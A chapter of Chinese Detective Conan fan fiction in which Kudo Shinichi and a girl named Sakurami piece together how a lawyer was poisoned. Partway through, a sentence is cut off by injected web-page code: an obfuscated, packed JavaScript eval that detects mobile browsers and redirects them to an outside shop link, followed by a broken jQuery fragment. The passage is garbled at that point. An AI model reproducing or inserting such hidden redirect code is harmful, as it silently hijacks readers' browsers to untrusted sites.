警官们虽然并没有说话,但工藤新一看得出来,他们已经偏向于中村先生是凶手了。
在他们的逻辑里,这很说得过去。
正好死者跟中村先生有约,正好中村先生恰好的时候下来,正好中村先生跟死者有这样的恩怨。
五分钟虽然很短,但若是中村先生有备而来,紧紧凑凑的,说不定是能做到的。
但是正因为时间太短,反倒洗脱了他的嫌疑。
因为死者是个极为自大的人,尤其他经常戏耍中村健太,还跟他有仇怨,就算是约中村的话,他难道会在几分钟内就放下心防,吃喝中村先生给的东西吗?
若说中村先生是强灌进去的,倒也有可能,只是他记得很清楚,身体上似乎太过整洁了,不然一开始大家也不会怀疑是自杀,没有外力作用过的痕迹。
而他刚才去室内查探,确实见到了摆在室内的酒和两只酒杯,杯子放在托盘上没动过,而酒据说是岩崎先生常喝的威士忌,如果有约的话,岩崎先生应该不会请人喝自己常喝的酒了,对于这样的人来说,这可是极为掉价的举动。
能够让死者喝下那杯酒的,能够让他信任的,只有那个人。
只是对方到底是怎么做到的呢?
是把东西下好,然后赌岩崎律师会喝吗?
他在回想着自己扫过的那道痕迹,十分微妙的在袖子边缘,如果真的有人杀害了岩崎律师,那个位置实在是有些微妙,不像是给人灌药的样子。
如果对方真的是真心实意喝下那杯东西的,那么酒杯应该会有痕迹吧。
工藤新一突然用力跑起来,四处观察着,很快就见到了刚才配合他的搭档。
木村因为一开始他指出了红漆所以对这个小孩没有一开始的轻视,还挺愿意听他的意见的,所以刚才他远野的家人打电话的时候,这小孩相当自来熟的跑到他身边,他也没有驱赶。
现在木村又出来守着传真机,见他跑来了,很是无奈的说:“喂,小鬼头,你又在这里跑来跑去做什么?”
“难不成你真想当个侦探?”
新一却没有接他的话,只是露出笑容,问他:“警官哥哥,是法医那边又传来了消息吗?”
木村拿出一开始的简要记录,吓唬他说:“是啊,这可跟尸体有关,你怕不怕?小孩子可不能接触这些的。”
新一背着手,歪着头说:“真的吗?可是刚才我就看到尸体了,不吓人啊。”
当然了,这话如果让他的青梅听见了,一定不想承认。
但木村也算是经历的多了,倒也认同了:糟糕,忘记这小鬼不同寻常了,刚才他就认真盯着尸体发现了破绽,怎么可能害怕?
木村被他噎的没话说,准备实行无视策略,谁知扫了一眼第一页纸,眼珠都要瞪出来了,没忍住脱口而出:“怎么回事?什么叫做山田有问题,做出来的初检报告是无法采用的,巡查法医正好撞见了现场,发现之后正在做复核和补充鉴定?!”
虽然一开始发现山田有所疏漏,但是他们都以为那是意外啊!
东京的案件太多了,自杀案件毫不稀奇,一开始不是连目暮警官都被现场骗了过去吗?
但是合作的法医研究所的法医出现了问题,还对初检报告做了手脚,因为不常见,让木村惊讶了一瞬。
不过这种事在警察中也发生过,所以他倒也没有失去理智,只是心下暗想:哪个嫌疑人能够买通山田法医?是不是得很有背景?
他细数了一下,发现三个嫌疑人中没一个人的家庭能做到这点,反倒是死者自己有这个资本胁迫一位法医。
等等,这些人是律师,说不定是抓到了山田的什么把柄才能够让对方作伪证?
木村心烦意乱,不知道自己在错误又正确的道路上越走越远,而工藤新一已经觑着这个机会,踮起脚尖一页页翻看报告了。
袖口处红色痕迹经成分分析确认与补送的现场公告栏使用之红色油漆成分一致——
这倒是不意外,这还是新一自己发现的。
死者血液中原药浓度含量高,致死量,体内摄入大量药物——
这也是可以想象得到的。
代谢物浓度极低,代表死者根本没来得及吸收分解就已经死去——
光这一点就能够推翻自杀说法了,新一摸了摸鼻子,原来的法医要不是被收买了,就得赔上自己的职业生涯。
他很快翻到了药物检测最后一页,上下扫视着,死者是因一次性摄入大量已溶解状态的巴比妥类药物——
等等!他瞬间盯紧了已溶解状态这些字眼,脑筋急转,看来我的猜想没错,五分钟的时间,中村健太绝对做不到让药物完全溶解,凶手不是他。
“哎呀小鬼!这可是警方的线索!随便乱看我可真要叫你大人来了!”木村回过神来,觉得自己得赶紧去给目暮警官报备,就见新一十分不拿自己当外人的翻着报告,那派头,比木村自己还像个长官。
工藤新一被他单手提起来,气的鼓起脸,腿在半空中晃了晃,可恶!他肯定有一天会长高的!
表面上他还要乖巧的说:“谢谢警察叔叔!我不看了。”反正已经看完了。
木村将他放下来看他跑走后,才意识到他的称呼,气乐了。
工藤新一嘴上说的很乖巧,但看着木村进入会议室后,看了看走廊左右,刺溜一声又钻进了现场,这次,他是为了验证自己的猜想,刚才在现场,他就发现了有几处古怪的地方,现在来看,说不定那就是破局的关键,就让我来验证一下,凶手是怎么做到的吧。
。
清水琉璃正戴上耳机,帮助白井樱见观看局势,此刻嘴唇不动,声音很轻说:“那个小孩又进现场去了。”
“看来他发现什么关键线索了。”樱见头也不抬,眼前堆满了关于岩崎英二的那堆资料,正在一目十行快速阅读。
这页全是夸夸其谈,没用;这页说的是早年恋人,还算有点用;这页关于案子的,比较重要,留下来……
她一边浏览,一边问道:“这位工藤同学之前是跟着木村警官出去了对吧?”
“他来来回回跑了几趟了,现在这么郑重,应该是有所发现。”清水琉璃答道。
“回国还挺好玩的,遇见这么个小孩,人小鬼大,比大人还知道的多,有意思。”樱见推了推那副眼镜,现在看文件,她便没有摘下,眼镜很好的掩饰了她眉间的那股尖锐和眼中的思虑,又柔化了她的面部线条,让樱见看起来真正像个十三四岁的女子中学生一般,文雅安静。
清水琉璃很喜欢这样的小姐,因为自从小姐一年前知道夫人的事后,她就笑的很少了,思考的事一日比一日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880987|212454||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多,如今回到日本,认亲哥哥,碰见案子,这样几桩事下来,虽然危险上升了,可小姐的心事却消下去不少。
也许是小姐认为,她现在走在该走的道路上吧,那我也自然乐意陪樱见小姐走一遭。
樱见翻看着那起东和制药的案件,突然意识到了一件事,手停顿了一下,“琉璃,东京内的法医研究所多吗?”
“还是挺多的吧?”清水琉璃不解其意,将自己知道的说了出来,“我没有特意找过这个,但是知道有些法医研究所比较有名,有些是单纯地域好。”
“你搜索一下,东和制药的本部大楼在哪里?”
“就在这附近,实际上,正是因为这个地域便利,所以双方才都找上了青山律所的律师。”
“那你确认一下,这个案件里的法医所,跟那位山田法医所在的法医所是否为同一个。”樱见将那份资料给了清水琉璃,抑制不住的深吸一口气。
有种终于快要完结一件事情的感觉。
“……确实是同一个。这位山田法医,似乎就是当初在案件上反水的那位。”清水琉璃抬起头来,语气不变。
虽然案件上将其称之为证人,但显然清水琉璃和樱见都有自己的判断和感情倾向——她们更相信远野而不是东和制药。
“果然如此。”樱见摇了摇头,姓氏其实比较常见,只是牵连到了一起,让她生出了猜想。
现在,她已经揪住一点线头了,难怪山田法医一开始会断定为自杀,一步错步步错,他当年既然能被收买,要么有把柄,要么有钱财,那么现在再被收买也很有可能了。
而知道这一切的、又能善加利用的、对死者充满了仇恨的,除了你还有谁呢?
不过她倒是还有一些想不明白,包括那些转账、中村的举动,难不成是两个人合谋?
。
工藤新一确认了痕迹的存在,窗户上的红漆,书桌的文件上有些压痕,似乎曾经在这里放过重物,只是仍然没有想到凶手是怎么做到的。
难不成她真的是赌运气,将完全溶解的药物下到酒杯里,等待岩崎喝下去吗?
不,这样的话她在监控里不会只有那几次记录,也不能准确地将现场布置为自杀现场,更不会青春的将其他人的嫌疑扯进来。
凶手一定有什么办法控制现场的节奏。
他不知不觉走到刚才传真机的地方,这里正有两个助理正在使用传真机,黑色头发的很是丧气,“都因为岩崎律师,律所有麻烦了,要我说,他早该改改他的脾气。”
棕色头发的啧了一声,“岩崎律师对其他人还好,对自己身边的人脾气特别大,我偷溜下班的时候还听见他骂新井,骂的可难听了,也不知道新井干了什么让他这么生气。”
黑色头发冷哼一声,“一定是他心情不好挑刺呢,新井做他助理也有几年了,什么时候犯过错?”
听见……不错,就是这个听见!新一突然想起了一件事,妃英理对他说过,她跟新井由纪九点四十五的时候去敲门,被痛骂了一顿。
他眼神震动,跑到这两个助理面前,十分嘴甜的问道:“两位漂亮姐姐,你能告诉我听见他骂了什么吗?”
而这边,樱见已经看到了最后一份文件,上面大段文字都很虚伪,只有一小段文字,十分有价值。能够解开凶案迷题的价值。